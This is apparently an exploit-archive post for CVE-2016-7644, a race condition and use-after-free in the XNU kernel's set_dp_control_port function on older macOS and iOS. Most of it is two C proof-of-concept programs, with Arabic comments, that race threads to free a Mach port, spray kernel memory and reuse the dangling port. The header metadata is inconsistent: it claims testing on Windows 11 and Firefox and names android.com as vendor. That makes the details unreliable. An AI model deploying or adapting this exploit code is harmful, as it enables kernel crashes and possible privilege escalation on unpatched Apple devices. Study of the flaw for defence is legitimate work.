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| # Title     : macOS 10.12.2 XNU kernel Race Condition                                                                                     |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://www.android.com                                                                                                     |
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[+] References : https://packetstorm.news/files/id/212493/ & 	CVE-2016-7644

[+] Summary : This report analyzes the race condition observed in the set_dp_control_port function within XNU kernel versions prior to macOS 10.12.2 and iOS 10.2.
              
[+] The vulnerability exists in the XNU kernel (iOS/macOS) in the `set_dp_control_port` function. The issue is the lack of locking when the dynamic_pager_control_port pointer is updated, leading to:

A race condition between two threads

The possibility of double release of the port reference

Use-after-free access

[+]  POC :	

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/host_priv.h>

#define THREAD_COUNT 32
#define ATTEMPTS 1000

mach_port_t global_port = MACH_PORT_NULL;
int start_race = 0;

// خيط يقوم باستدعاء set_dp_control_port بشكل متكرر
void* race_thread(void* arg) {
    while (!start_race) { ; } // انتظار بدء السباق
    
    mach_port_t local_port = MACH_PORT_NULL;
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &local_port);
    mach_port_insert_right(mach_task_self(), local_port, local_port, 
                          MACH_MSG_TYPE_MAKE_SEND);
    
    for (int i = 0; i < 100; i++) {
        set_dp_control_port(mach_host_self(), local_port);
    }
    
    return NULL;
}

// خيط لمراقبة واستغلال الحالة
void* exploit_thread(void* arg) {
    while (!start_race) { ; }
    
    for (int i = 0; i < 100; i++) {
        // محاولة الوصول إلى المنفذ بعد تحريره
        mach_port_t probe_port = MACH_PORT_NULL;
        kern_return_t kr = mach_port_allocate(mach_task_self(), 
                                            MACH_PORT_RIGHT_RECEIVE, 
                                            &probe_port);
        
        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to allocate port - possible corruption\n");
        }
        
        // استخدام منفذات مختلفة لمحاولة إعادة استخدام الذاكرة المحررة
        set_dp_control_port(mach_host_self(), probe_port);
        
        usleep(1000); // تأخير صغير لزيادة فرص السباق
    }
    
    return NULL;
}

int main() {
    printf("[+] Starting exploitation of CVE-2016-7644\n");
    
    // الخطوة 1: إنشاء المنفذ الأولي
    kern_return_t kr = mach_port_allocate(mach_task_self(), 
                                        MACH_PORT_RIGHT_RECEIVE, 
                                        &global_port);
    if (kr != KERN_SUCCESS) {
        printf("[-] Failed to allocate initial port\n");
        return 1;
    }
    
    kr = mach_port_insert_right(mach_task_self(), global_port, global_port,
                               MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS) {
        printf("[-] Failed to insert port right\n");
        return 1;
    }
    
    // الخطوة 2: تعيين المنفذ الأولي
    printf("[+] Setting initial dynamic_pager_control_port\n");
    kr = set_dp_control_port(mach_host_self(), global_port);
    if (kr != KERN_SUCCESS) {
        printf("[-] Initial set failed: %s\n", mach_error_string(kr));
        return 1;
    }
    
    // الخطوة 3: تحرير المنفذ من userland (يبقى مرجع في kernel فقط)
    printf("[+] Releasing userland reference (kernel holds one ref)\n");
    mach_port_destroy(mach_task_self(), global_port);
    
    // الخطوة 4: إنشاء خيوط لتنفيذ الهجوم
    pthread_t threads[THREAD_COUNT];
    
    printf("[+] Creating %d racing threads\n", THREAD_COUNT);
    for (int i = 0; i < THREAD_COUNT; i++) {
        if (i % 2 == 0) {
            pthread_create(&threads[i], NULL, race_thread, NULL);
        } else {
            pthread_create(&threads[i], NULL, exploit_thread, NULL);
        }
    }
    
    // الخطوة 5: بدء السباق
    printf("[+] Starting race condition...\n");
    start_race = 1;
    
    // الانتظار حتى تنتهي الخيوط
    for (int i = 0; i < THREAD_COUNT; i++) {
        pthread_join(threads[i], NULL);
    }
    
    printf("[+] Race completed. Attempting to trigger UaF...\n");
    
    // الخطوة 6: محاولة استغلال dangling pointer
    for (int attempt = 0; attempt < ATTEMPTS; attempt++) {
        mach_port_t new_port = MACH_PORT_NULL;
        kr = mach_port_allocate(mach_task_self(), 
                              MACH_PORT_RIGHT_RECEIVE, 
                              &new_port);
        
        if (kr == KERN_SUCCESS) {
            kr = mach_port_insert_right(mach_task_self(), new_port, new_port,
                                       MACH_MSG_TYPE_MAKE_SEND);
            
            // محاولة تعيين منفذ جديد في الموقع المحرر
            kr = set_dp_control_port(mach_host_self(), new_port);
            
            if (kr != KERN_SUCCESS) {
                printf("[!] Attempt %d: set_dp_control_port failed: %s\n",
                      attempt, mach_error_string(kr));
            }
            
            // إرسال رسالة للمساعدة في كشف أي تحطم
            mach_msg_header_t msg = {0};
            msg.msgh_remote_port = new_port;
            msg.msgh_size = sizeof(msg);
            
            kr = mach_msg(&msg, MACH_SEND_MSG, msg.msgh_size,
                         0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, 
                         MACH_PORT_NULL);
        }
        
        if (attempt % 100 == 0) {
            printf("[.] Progress: %d/%d attempts\n", attempt, ATTEMPTS);
        }
    }
    
    printf("[+] Exploitation attempt finished\n");
    printf("[+] Check kernel logs for crashes (panic logs)\n");
    
    return 0;
}

================
Vulnerability type: Use-After-Free (UaF) in the XNU kernel's set_dp_control_port function.

Basic idea: Creating a dangling port in the kernel, then attempting to reuse it to exploit the freed memory, which could lead to:

Arbitrary kernel instruction execution.

A system crash (kernel panic).

In some cases, user privilege escalation if linked to a full exploit.

POC :

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/host_priv.h>
#include <sched.h>

#define THREAD_COUNT 32
#define PORT_COUNT 1024
#define ATTEMPTS 1000

int start_race = 0;
int stop_threads = 0;
mach_port_t spray_ports[PORT_COUNT];

// وظيفة yield لزيادة فرص السباق
void yield_thread() {
    sched_yield();  // يعطي فرصة للخيوط الأخرى للتشغيل
    usleep(10);     // تأخير بسيط
}

// خيط السباق الرئيسي
void* trigger_race(void* arg) {
    mach_port_t port = (mach_port_t)(uintptr_t)arg;
    
    while (!start_race) { ; } // انتظار إشارة البدء
    
    // إجراء السباق مع yield
    for (int i = 0; i < 50; i++) {
        set_dp_control_port(mach_host_self(), port);
        yield_thread();  // زيادة فرص التداخل
    }
    
    return NULL;
}

// إنشاء dangling port
void create_dangling_port() {
    mach_port_t port = MACH_PORT_NULL;
    
    // إنشاء port مع multiple references
    kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (kr != KERN_SUCCESS) {
        printf("[-] Failed to allocate port\n");
        return;
    }
    
    // إضافة حقين send ليكون لدينا مرجعان
    kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS) {
        printf("[-] Failed first insert\n");
        return;
    }
    
    kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS) {
        printf("[-] Failed second insert\n");
        return;
    }
    
    // تعيينه كـ dynamic_pager_control_port
    printf("[+] Setting as dynamic_pager_control_port\n");
    kr = set_dp_control_port(mach_host_self(), port);
    if (kr != KERN_SUCCESS) {
        printf("[-] Failed to set: %s\n", mach_error_string(kr));
        return;
    }
    
    // الآن النواة تحتفظ بمرجع واحد، ونحن لدينا مرجعان
    
    // تحرير مرجع userland (يبقى مرجعان: واحد في kernel وواحد لدينا)
    printf("[+] Releasing one userland reference\n");
    mach_port_deallocate(mach_task_self(), port);
    
    // بدء السباق مع خيطين
    printf("[+] Starting race threads\n");
    start_race = 0;
    
    pthread_t t1, t2;
    pthread_create(&t1, NULL, trigger_race, (void*)(uintptr_t)port);
    pthread_create(&t2, NULL, trigger_race, (void*)(uintptr_t)port);
    
    // إعطاء الوقت للخيوط للاستعداد
    usleep(1000);
    
    // بدء السباق
    start_race = 1;
    
    // الانتظار حتى تنتهي الخيوط
    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
    
    printf("[+] Race completed. Port may be dangling now\n");
    
    // هنا port أصبح dangling (مؤشر متدلي)
    // kernel قد حررت الـ port مرتين بينما كان هناك مرجع واحد فقط
}

// رش kernel memory
void spray_kernel_memory() {
    printf("[+] Spraying kernel memory with %d ports\n", PORT_COUNT);
    
    // إنشاء منافذ للرش
    for (int i = 0; i < PORT_COUNT; i++) {
        kern_return_t kr = mach_port_allocate(mach_task_self(), 
                                            MACH_PORT_RIGHT_RECEIVE, 
                                            &spray_ports[i]);
        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to allocate spray port %d\n", i);
            continue;
        }
        
        kr = mach_port_insert_right(mach_task_self(), spray_ports[i], 
                                  spray_ports[i], MACH_MSG_TYPE_MAKE_SEND);
        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to insert right for port %d\n", i);
        }
        
        // إرسال رسائل لملء kernel memory
        struct {
            mach_msg_header_t header;
            mach_msg_body_t body;
            mach_msg_port_descriptor_t port_descriptors[4];
        } msg;
        
        msg.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | 
                              MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
        msg.header.msgh_size = sizeof(msg);
        msg.header.msgh_remote_port = spray_ports[i];
        msg.header.msgh_local_port = MACH_PORT_NULL;
        msg.body.msgh_descriptor_count = 4;
        
        // ملء واصف المنافذ
        for (int j = 0; j < 4; j++) {
            msg.port_descriptors[j].name = spray_ports[(i + j) % PORT_COUNT];
            msg.port_descriptors[j].disposition = MACH_MSG_TYPE_COPY_SEND;
            msg.port_descriptors[j].type = MACH_MSG_PORT_DESCRIPTOR;
        }
        
        kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg),
                     0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
        
        if ((i + 1) % 100 == 0) {
            printf("[.] Sprayed %d/%d ports\n", i + 1, PORT_COUNT);
        }
    }
    
    printf("[+] Memory spray completed\n");
}

// خيط لاختبار استخدام المنفذ المعلق
void* use_dangling_port(void* arg) {
    mach_port_t port = (mach_port_t)(uintptr_t)arg;
    
    while (!stop_threads) {
        // محاولة استخدام المنفذ المعلق
        mach_port_context_t context = 0;
        kern_return_t kr = mach_port_get_context(mach_task_self(), port, &context);
        
        if (kr != KERN_SUCCESS) {
            // المنفذ قد يكون تحرر
            printf("[!] Failed to get context (port may be freed)\n");
            break;
        }
        
        // محاولة تعيين سياق جديد
        kr = mach_port_set_context(mach_task_self(), port, (mach_port_context_t)0x4141414142424242);
        
        yield_thread();
    }
    
    return NULL;
}

int main() {
    printf("[+] Exploit for CVE-2016-7644 - XNU set_dp_control_port race condition\n");
    printf("[+] Target: macOS/iOS <= 10.12.1/10.1.1\n");
    
    // المرحلة 1: إنشاء dangling port
    printf("\n=== Phase 1: Creating dangling port ===\n");
    create_dangling_port();
    
    // المرحلة 2: رش الذاكرة
    printf("\n=== Phase 2: Memory spraying ===\n");
    spray_kernel_memory();
    
    // المرحلة 3: محاولة الاستغلال
    printf("\n=== Phase 3: Attempting exploitation ===\n");
    
    // إنشاء عدة خيوط لمحاولة استخدام المنفذ المعلق
    pthread_t exploit_threads[4];
    mach_port_t test_port = MACH_PORT_NULL;
    
    // إنشاء منفذ جديد في نفس المنطقة
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &test_port);
    mach_port_insert_right(mach_task_self(), test_port, test_port, MACH_MSG_TYPE_MAKE_SEND);
    
    for (int i = 0; i < 4; i++) {
        pthread_create(&exploit_threads[i], NULL, use_dangling_port, 
                      (void*)(uintptr_t)test_port);
    }
    
    // السماح للخيوط بالعمل لبعض الوقت
    sleep(2);
    
    // إيقاف الخيوط
    stop_threads = 1;
    for (int i = 0; i < 4; i++) {
        pthread_join(exploit_threads[i], NULL);
    }
    
    // المرحلة 4: اختبار الاستقرار
    printf("\n=== Phase 4: Testing stability ===\n");
    
    mach_port_t final_port = MACH_PORT_NULL;
    kern_return_t kr = mach_port_allocate(mach_task_self(), 
                                        MACH_PORT_RIGHT_RECEIVE, 
                                        &final_port);
    
    if (kr != KERN_SUCCESS) {
        printf("[!] Kernel may be unstable/crashed\n");
    } else {
        printf("[+] Kernel seems stable\n");
        
        // محاولة نهائية لاستدعاء set_dp_control_port
        kr = set_dp_control_port(mach_host_self(), final_port);
        if (kr == KERN_SUCCESS) {
            printf("[+] Successfully called set_dp_control_port\n");
        } else {
            printf("[!] Failed: %s\n", mach_error_string(kr));
        }
    }
    
    // التنظيف
    for (int i = 0; i < PORT_COUNT; i++) {
        if (MACH_PORT_VALID(spray_ports[i])) {
            mach_port_destroy(mach_task_self(), spray_ports[i]);
        }
    }
    
    printf("\n[+] Exploitation attempt completed\n");
    printf("[!] Note: This exploit may cause kernel panic if successful\n");
    printf("[!] Check console logs for kernel crash reports\n");
    
    return 0;
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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